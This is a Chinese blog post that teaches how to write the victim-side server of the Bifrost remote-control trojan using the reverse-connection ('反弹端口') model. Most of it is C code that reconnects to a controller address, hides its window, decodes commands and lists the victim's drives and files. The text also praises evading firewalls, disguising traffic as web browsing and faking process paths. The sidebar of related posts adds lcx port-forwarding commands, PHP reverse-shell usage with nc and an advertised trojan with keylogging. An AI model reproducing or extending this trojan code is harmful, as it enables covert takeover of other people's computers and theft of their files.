远程控制编程之反弹端口模式

内网渗透之——内网转发(反弹shell、端口、代理) 目的 渗透测试中,我们往往会面对十分复杂的内网环境,比如最常用的防火墙,它会限制特定端口的数据包出入。 需要转发的情况 1.A可以访问B的80端口,但是不能访问B的3389端口。 2.A可以访问B,B可以访问C,但是A不可以访问C,需要通过B转发数据,让A和C进行通信。 代理方式 正向代理 正向代理是客户端主动访问服务器的端口 我们常说的代理就是指正向代理,正向代理的过程,它... 阅读详情
 远程控制软件的上线模式主要有两种:正向直连模式与反弹端口模式。正向直连模式远控需要输入对方的IP地址和端口(图1),比如Radmin就是正向连接。当被控端是ADSL拨号这种动态IP或者需要监控的机器比较多的话,一个个输入IP和端口是繁琐和不准确的。这时,聪明的远程控制软件开发者们设计了反弹端口模式(图2),比如常见的灰鸽子,PcShare等远控都使用了这个模式。这个模式主要用于两个目的,一是解决被控端的动态IP难确定问题,二是穿透防火墙和麻痹被控机器的用户。

      最初开发者为了解决IP变动问题采用的是控制端IP段端口扫描和被控端Email发信通知两种方法,显然这两种效率都是低下的。反弹端口模式由被控端主动连接控制端,做到了以不变或者一变应万变,所有的被控端只要知道控制端的IP和端口就可以主动连接上来。前面说的不变指得是控制端使用固定IP,一变就是控制端是动态IP,通知控制端IP目前主要使用DNS解析和URL转发两种方法。

      早期的防火墙对内部发起的连接请求无条件信任,反弹端口模型就是利用了这个弱点来穿透防火墙。另外当反弹连接的端口为80的时候,也可以欺骗检查连接状态的用户,让其误以为是正常的Web访问连接。当然现在的防火墙早以是内外兼修了,因此现在很多远控的服务端通过远程注入或者修改PEB伪造进程路径为防火墙进程来达到欺骗和突破防火墙的目的。

      言归正传,在有了反弹端口模式背景知识和基本原理之后,笔者介绍两种自己经常使用的反弹端口模式实现代码。一是基于阻塞SOCKET的反弹框架,另是基于异步选择SOCKET的反弹框架。这里笔者特意选择实现Bifrost1.102(彩虹桥木马)的被控端来增加本文的趣味性和成就感。

      先看阻塞SOCKET的反弹框架。反弹模式中一般都有断线重连机制,这里使用循环来不断发起连接。代码如下:

int APIENTRY WinMain(HINSTANCE hInstance,

                     HINSTANCE hPrevInstance,

                     LPSTR     lpCmdLine,

                     int       nCmdShow)

{

       //初始化WSA
       WSADATA lpWSAData;
       WSAStartup(MAKEWORD(1, 1), &lpWSAData);      

       while (1)
       {
        //开启连接控制端线程,并等待线程结束
              HANDLE hThread;
              DWORD dwThreadID;
              hThread = CreateThread(NULL, 0, ConnectThread, NULL, 0, &dwThreadID);
              WaitForSingleObject(hThread, INFINITE);
              CloseHandle(hThread);

        //休息10秒后再次发起连接
              Sleep(10000);
       }

       // 卸载WSA
       WSACleanup();

       return 0;
}

在ConnectThread线程里先连接控制端,连接成功后循环读取命令指令并分配执行。代码如下:

DWORD _stdcall ConnectThread(LPVOID lParam)

{
       SOCKET hSocket;
       struct sockaddr_in LocalAddr;

       hSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
       LocalAddr.sin_family=AF_INET;
       LocalAddr.sin_port=htons(2000);
       LocalAddr.sin_addr.S_un.S_addr=resolve("127.0.0.1");

       // 连接远程地址
       if( connect(hSocket, (PSOCKADDR)&LocalAddr, sizeof(LocalAddr)) == S_OK)
       {
              BYTE RecvBuf[8192];
              DWORD dwBufferLen;
              int iTimeOut = 180, iResult;
              BOOL bContinue = TRUE;

              if(!SendOnlineMsg(hSocket))//发送在线信息
                     return 0;

              while(bContinue)
              {
                     //读取数据长度
                     iResult = RecvBuffer(
hSocket,
(unsigned char*)&dwBufferLen,
sizeof(DWORD),
iTimeOut);
                     if (iResult <0)
                            break;            

                     if(iResult >0)
                     {
                            if (dwBufferLen > 8192 )
                                   break;

                            //读取数据包,dwBufferLen是前面读取的数据包长度
                            iResult = RecvBuffer(hSocket, RecvBuf, dwBufferLen, iTimeOut);
                            if (iResult <= 0)
                                   break;

                            EnDeCode(RecvBuf, dwBufferLen, szKeyBuffer, sizeof(szKeyBuffer));
                     }

                     switch(RecvBuf[0])
                     {
                     case CMD_PingRequest: //心跳包处理
                            {
                                   if (!SendBuffer(hSocket, CMD_PingReprose, NULL, 0))
                                          bContinue = FALSE;                   
                            }
                            break;
                     case CSocket_ListDrive://获取驱动器信息
                            {
                                   if (!GetDriveList(hSocket))
                                          bContinue = FALSE;     
                            }
                            break;
                     case CSocket_ListFile://获取目录信息
                            {
                                   if (!GetListPathFile(hSocket, (char*)&RecvBuf[1]))
                                          bContinue = FALSE;
                            }
                            break;
            //其他命令略……
                     default:
                            break;
                     }
              }
       }

       //清空网络数据,关闭句柄
       shutdown(hSocket, 0x02);
       closesocket(hSocket);

       return 0;
}

      因为Bifrost1.102的封包结构由三部分组成:数据长度(四字节)、命令(1字节)、数据包内容(若干字节),所以我们看到在ConnectThread线程里看到是先接收读取数据包长度,再接收读取具体的数据包。
通过上面的代码我们也能看出阻塞SOCKET模式的特点,当然就是阻塞了,没有接收到命令前就会阻塞等待,没有时间去做其他工作。
      再看看异步选择SOCKET的反弹模式。这个反弹模式利用Socket I/O中的WSAAsyncSelect模型。使用这个模型,Windows会把网络事件以消息的形势通知应用程序。先看看WSAAsyncSelect的定义:
int PASCAL FAR WSAAsyncSelect ( SOCKET s, HWND hWnd,
                        unsigned int wMsg, long lEvent );
hWnd是接收消息的窗口句柄,wMsg就是关联的消息,lEvent为关心的网络事件集合。
首先我们定义一个消息常量:
#define WM_SOCKET WM_USER+1000
然后创建一个不可见的窗口来接收消息。代码如下:
int APIENTRY WinMain(HINSTANCE hInstance,
                                    HINSTANCE hPrevInstance,
                                    LPSTR lpCmdLine,
                                    int nCmdShow)

{
       //创建一个不可见的窗口
       HWND hWnd;
       WNDCLASS wndc;
       memset(&wndc,0,sizeof(WNDCLASS));
       wndc.lpfnWndProc=WndProc;//窗口消息处理回调函数
       wndc.lpszClassName="Bifrost1.102";
       RegisterClass(&wndc);
       hWnd=CreateWindow("Bifrost1.102","Bifrost1.102",
       WS_OVERLAPPEDWINDOW,
       CW_USEDEFAULT,CW_USEDEFAULT,
       CW_USEDEFAULT,CW_USEDEFAULT,
       NULL,NULL,NULL,NULL);
       ShowWindow(hWnd,SW_HIDE);
       UpdateWindow(hWnd);

       //开始上线线程,传递窗口句柄
       ::CreateThread(NULL, 0, SocketConnectProc, hWnd, 0, NULL);

       //消息循环
       MSG msg;
       while(GetMessage(&msg,NULL,0,0))
       {
                     TranslateMessage(&msg);
                     DispatchMessage(&msg);
       }

       return 1;
}

      SocketConnectProc是上线连接线程,每30秒检测是否断线,如果断线就重新连接并关联Socket和消息。代码如下:
unsigned long CALLBACK SocketConnectProc(LPVOID pParam)
{
    //获取窗口句柄
       HWND hWnd = (HWND)pParam;
       struct sockaddr_in TargAddr;

       while (1)
       {    
              if(connect(hSocket,(sockaddr*)&TargAddr,sizeof(TargAddr))==SOCKET_ERROR )
              {           
            //10056错误,表示socket已连接
                     if (g_bConnect && ::WSAGetLastError() == 10056)
                     {   //休息30秒后再测试
                            Sleep(30000);
                            continue;
                     }
                     else
                     {  
                            shutdown(hSocket,0x02);
                            closesocket(hSocket);
                     }

                     hSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);        
                     memset(&TargAddr,0,sizeof(TargAddr));
                     TargAddr.sin_family=AF_INET;
                     TargAddr.sin_port=htons(CStr_MasterPort);
                     TargAddr.sin_addr.S_un.S_addr=resolve(CStr_MasterAddress1);
              }    
              else//连接成功
              {
                     //关联Socket,注册感兴趣的网络事件
                     WSAAsyncSelect(hSocket,hWnd,WM_SOCKET,FD_READ|FD_CLOSE);
                     if(SendOnlineMsg(hSocket))//发送在线信息
                            g_bConnect = TRUE;   
              }
       }

       return 0;
}

//*************************************************
LRESULT CALLBACK WndProc(HWND hWnd,
UINT message,
WPARAM wParam,
LPARAM lParam)
{
       switch(message)
       {
       case WM_CREATE:
              {
                     WSADATA WsaData;
                     WSAStartup(MAKEWORD(2,0),&WsaData);
              }
              break;
       case WM_SOCKET: //收到WM_SOCKET消息
              if(WSAGETSELECTERROR(lParam))
              {
                     closesocket(wParam);
                     break;
              }    

              switch(WSAGETSELECTEVENT(lParam))
              {
                     //读取输入
              case FD_READ:
                     {
                            BYTE RecvBuf[8192];
                            DWORD dwBufferLen;
                            int iTimeOut = 180,iResult;
                            //读取数据长度
                            iResult = RecvBuffer(hSocket,
(unsigned char*)&dwBufferLen,
sizeof(DWORD),
iTimeOut);
                                                        if (iResult <=0)
                                   break;                         

                            if (dwBufferLen > 8192 )
                                   break;

                            //读取数据包,dwBufferLen是前面读取的数据包长度
                            iResult = RecvBuffer(hSocket, RecvBuf, dwBufferLen, iTimeOut);
                            if (iResult <= 0)
                                   break;

                            //数据解密
                            EnDeCode(RecvBuf, dwBufferLen, szKeyBuffer, sizeof(szKeyBuffer));

                //命令解析与处理
                            switch(RecvBuf[0])
                            {
                //实现同上,具体看代码
                            }
            }
                   break;
              case FD_CLOSE:
                     {
                            closesocket(wParam);
                     }
                     break;
              }
              break;
       case WM_DESTROY:
              {
                     PostQuitMessage(0);
                     WSACleanup();
              }
              break;
       default:
              return DefWindowProc(hWnd,message,wParam,lParam);
       }
       return 0;
}

      异步选择模式的特点是,非阻塞Socket,有消息通知时才接收数据,节省资源。有窗口,可以接收窗口消息,比如接收WM_TIMER消息来使用定时器,WM_DEVICECHANGE消息来侦测USB设备消息的插入拔出,这些比使用线程要简单高效多了。
本文采用了两种不同的框架代码,实现了Bifrost反弹端口上线的服务端,最后欣赏下我们的战果(图3)。


反弹端口木马:从TCP反向连接到进程隐藏的攻防实践 在网络安全领域,远程控制与通信是核心概念。其原理通常基于客户端/服务器模型,通过特定协议建立连接。TCP协议因其可靠性,常被用于实现稳定的远程命令执行。这种技术的价值在于能够穿透网络边界,实现远程管理或渗透测试。在应用场景上,它常被用于系统运维、安全评估,但也可能被恶意软件利用。本文聚焦于反弹端口木马,这是一种通过让受控端主动外联来绕过防火墙限制的技术。文中深入探讨了其通信机制、持久化手段(如注册表启动项)以及进程伪装等隐蔽技术,并提供了基于Python的实现示例与防御视角,帮助读者在理解攻击原理的同时,构 阅读详情

相关推荐

彩虹桥远程控制1.21中文版本

有离线键盘记录 就是不用开彩虹桥也可以记录 服务端只有20多K 恐怕世界没有

内网转发——反弹端口

反弹端口:是指受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发 主要指以下情况: -1.访问服务器的3389端口,由于防火墙的原因,我们访问不了3389端口 原因:1.3389端口,防火墙没有开放 2.服务器处于公司内网,对外只发布了80端口 3.3389...

cxrpty的博客 4231

远程控制内网+外网上线配置

1、内网中机器设置:(1)、控制面板---添加删除程序—添加组件----IIS----“万维网服务”、“远程WEB连接” (2)、控制面板---用户帐户----新建帐户----管理员密码 (3)、我的电脑右键“属性”,“远程”选项卡,选中“允许远程用户连接此计算机”,点击“选择用户”,将第(2)步的新建帐户添加进去。 2、路由器设置: (1)、访问进入路由器,点击“转发规则”---“虚拟服务器” (2)、点击“添加新条目”,在“服务端口号”中填3389 (3)、在“IP地址”中填内网机器的本机IP (4)、在“协议”中选择“ALL” (5)、“状态”选择“生效”。 (6)、保存 此时我们就装内网IP映射到外网IP上了。 3、点击目录栏的“运行状态”,目地是看一下外网IP。 4、在外网机器上,点击“开始”---“程序”---“附件”---“远程桌面连接” 5、输入IPxxx.xxx.xxx.xxx,点击连接,然后输入新建帐户的用户名和密码,连接成功! 注:此方法只能用于上网固定IP用户,对自动获取上网IP用户只当次有效(指内网机器、路由器设置后没有重启、关机的情况)。

让所有正向程序实现反向连接【转载】

秘密穿过内网防火墙作者:陈一天  查看:19  平均分:0  日期:2005-6-3  类别:网络通信     小天最近利用微软新爆出的几个漏洞,放出很多C/S木马,但捕获的“肉鸡”却是少之又少,让他郁闷不已。原来,很多中招者都是FTTP+LAN环境下的局域网用户,在小天与被攻击者之间隔有硬件防火墙,而采用IP直连的方法当然是行不通的。此时,他想到了一位法力无边的“天使”Angelshell…… 

FreeXploiT 4674

Halcon实战:5分钟搞定线序颜色检测(附完整代码解析)

本文详细介绍了如何使用Halcon在5分钟内实现工业级线序颜色检测的高效方案。通过机器视觉技术,结合实战项目经验,提供完整的代码解析和优化技巧,帮助开发者快速构建鲁棒性强、准确率高的检测系统,适用于电子制造和汽车线束等行业。

weixin_29098367的博客 441

【Get深一度】小波分析概念1——紧支撑集是什么意思,通俗解释

最近学到小波,在仿真中也用到了紧支撑函数;紧支撑性越好,说明能量越集中;用最通俗的话来讲,紧支撑是这样的: 对于函数f(x),如果自变量x在 0附近的取值范围内,f(x)能取到 C; 而在此之外,f(x)取值为 0; 那么这个函数f(x)就是紧支

Trey_优快云 的优快云博客 8348

端口代理反弹shell原理应用

我们发现在实际的攻击过程中,使用常规反弹shell攻击者的计算机IP地址将被暴露给受害者计算机,因为攻击者需要将自己的计算机IP地址提供给受害者计算机以建立连接。当对方具备一定的抓包和溯源能力就能借此溯源到攻击者。因此,对方反弹shell攻击可能会危及攻击者的匿名性和安全。这些技术可以用来隐藏攻击者的真实IP地址,从而增强攻击的匿名性和安全性。下面是一些常用的增强反弹shell匿名性的技术:端口转发:攻击者可以使用端口转发技术将流量从受害者计算机转发到攻击者的计算机上,从而隐藏自己的真实IP地址。

qq_39641273的博客 823

Chapter2、HDR流水线

HDR内容的获取(不同曝光时间的图片合成) 相机响应函数 HDR视频

qq_55621259的博客 2597

让所有正向程序实现反向连接

现在的服务器几乎全是放在硬件防火墙后的,好不容易渗透进去,结果却发现装有硬件防火墙,扫兴啊!什么终端服务、什么Radmin之类的控方式想都不要想。试了试,发现几乎都支持反向连接,正向连接只能连接80和21端口,连1433都连不上。那就传个反向的后门上去吧,一传上去就被杀毒软件Kill了。一气之下,搬出Delphi,自己动手写后门!花了几天的时间,后门终于...

weixin_33728708的博客 656

MTK平台LCD驱动开发实战:从零开始点亮你的Android屏幕

本文详细介绍了在MTK平台进行Android LCD驱动开发的完整流程。从理解LK与Kernel双核驱动框架入手,手把手讲解驱动结构体、屏幕参数配置、初始化序列编写以及PLL_CLOCK计算等核心步骤,并提供了系统集成配置与实用的调试避坑指南,帮助开发者高效点亮新屏幕。

terraform7cloud的博客 292

点云数据增强及预处理

数据增强: 1. random world flip:沿着x或者y轴,翻转点云 点云的x或者y,要翻转 3d box中心的x或者y,要翻转 3d box的朝向要翻转 point segmentation label,点云的相对顺序没有发生变化 2. random_world_rotation:沿着点云原点,旋转点云 点,x,y,绕z轴旋转 3d box,绕z轴旋转,中心和朝向都要变化 point segmentation label,点云的相对顺序没有发生变化 3. random_world_scaling

huang_victor的博客 4011

成为黑客必须掌握的知识!

最高境界,总结、归纳、创新这个数学上的不二法宝,这大概就是黑客的最高境界吧! 成为黑客必须掌握的知识 一、一定的英文水平 大家都知道,计算机的起源来自于国外,多数的资料、编程语言、命令等都是以英文为基础的,所以一定的英文水品是必要的,当然了,这并不能阻挡我们中国人学习黑科技术的脚步,如果英文水平欠佳,找本字典,或者是翻译app就可以了。 同时也能希望我国的科技发展能够更进一步,开发出汉字的...

weixin_30814319的博客 8527

ADS系列之SI&PI仿真笔记:ADS多种版本的安装、卸载&重装(一)

此系列仅作为ADS学习过程的记录,如有错误的地方还请大佬指正! 一、下载&安装 ADS软件下载&安装还算比较简单,目前接触到有两个版本:ADS2017和ADS2019。这里贴下链接,破解教程里面都有: ADS2017下载地址:https://pan.baidu.com/s/1l-Bs9owKRmp5Pv0Mt92OYA 提取码:wuzf ADS2019下载地址:吴川斌的博客-w...

Claudedy的博客 3万+

Backdoor.GrayBird.ad 分析 我中的病毒

病毒名称: Backdoor.GrayBird.ad中文名称: 灰鸽子病毒类型: 木马危害等级: 高文件长度:382 KB感染系统: Windows9x以上的所有版本编写语言: Delphi 6加壳类型:TeLock 二、病毒描述:    灰鸽子(Backdoor.GrayBird.ad)运行后,主动打开后门端口(端口号不确定),攻击者对感染主机可进行远程控制。若服务端配置属自动上线型,则通过配置

1214

Android 13.0 app进程保活白名单功能实现

在13.0的系统rom产品开发中,在某些重要的app即使进入后台,产品需求要求也不想被系统杀掉进程,需要app长时间保活,就是app进程保活白名单功能的实现, 所以需要在系统杀进程的时候不杀掉白名单的进程,接下来就看怎么样来实现这些功能

安卓兼职framework和app工程师的博客 3142

最小二乘(MLS)求点云法向量

MLS算法的基本思想是通过在点云的局部邻域内拟合一个光滑曲面,如平面或多项式曲面,以此来重建和处理点云数据。对于法向量估计,MLS通常在每个点的邻域内拟合局部平面,然后从该平面的法向量作为点的法向量。

twnkie的博客 744

流量映射端口反弹

实验1:LCX端口转发 正向转发 内网主机执行:lcx.exe –slave 公网主机IP 公网主机端口 内网主机IP 内网主机端口 外网主机执行:Lcx.exe –listen 公网主机端口1 公网主机端口2 反向转发 外网主机执行:Lcx.exe -tran 53 目标主机IP 3389 试验二:PORTMAP端口转发 正向转发 内网主机执行:./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666 外网主机执行:./por

niqiu320的博客 1126

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

反弹端口原理与HTTP隧道技术

http://blog.163.com/feiqiu_13/blog/static/16870088920108123110438/ 现在,很多木马都利用了“反弹端口原理”与“HTTP隧道技术”,它的服务端(被控制端)会主动连接客户端(控制 端),因此,在互联网上可以访问到局域网里通过NAT代理(透明代理)上网的电脑,可以穿过防火墙( 包括:包过滤型及代理型防火墙) ,并且支持所有的上网

天元喜羊羊的博客 1676

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

网络安全编程:木马的配置生成与反弹端口技术

由于黑色产业链的供需关系,木马、病毒等恶意程序作为商品在网络上有着大量的交易,因此这些恶意程序必须具备灵活的可配置性。当然,即使是免费提供的木马、病毒等恶意程序,为了可以让广大的黑友去使用,它也是具备可配置性的。因此,恶意程序的可配置性已经成为最基本的功能之一。拿木马来说,木马要进行配置后才可以生成真正的服务器端,也就是被控制端是经过配置后产生的。来看一下灰鸽子(灰鸽子是国产著名的远程控制软件)服务器端的配置界面,如图1所示。图1 灰鸽子服务器端配置界面。

ewii12567的博客 1252

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

内网转发之反弹端口

反弹端口实验 实验环境:windows 2008r2服务器 和 本机 实验步骤 win2008服务器开启防火墙,开启3389端口并不对外开放,利用reduh工具使其服务器将其他端口公用。 本地计算机关闭防火墙和杀毒软件,安装java环境和jdk服务 实验流程: 配置虚拟机环境,将远程控制打开 然后将reduh中的aspx文件上传到wwwroot下面 然后本机计算机访问一下...

broing55的博客 1029

利用socket转发和反弹端口技术突破防火墙进入内

 http://www.vfocus.net/art/index_f.htmlTCP端口反弹技术? 反弹技术,该技术解决了传统的远程控制软件不能访问装有防火墙和控制局域网内部的远程计算机的难题。反弹端口型软件的原理是,客户端首先登录到FTP服务器,编辑在木马软件中预先设置的主页空间上面的一个文件,并打开端口监听,等待服务端的连接,服务端定期用HTTP协议读取这个文件的内容,当发现是客户端让

杨德龙的专栏 4031

php反弹,PHP Webshell 下的端口反弹方法

使用方法:需要将以下代码保存为一个单独的php文件。上传到服务器之后,本地NC监听一个端口,在代码里设置好反弹IP和端口,然后直接访问上传的php文件,就会给 NC 弹回来一个shell。测试实例:先在本地执行 nc -vv -l -p port,然后访问这个php页面 http://www.site.com/phpdkft.php ,本地就会得到一个反弹的shell。这样每次可以直接访问这个ph...

weixin_29421409的博客 454

反弹Shell大全与原理

more反弹shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

weixin_55652418的博客 2446
上一篇: 将dll从进程模块列表中移除并保持正常运行
下一篇: 远程控制编程中多窗口实现
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值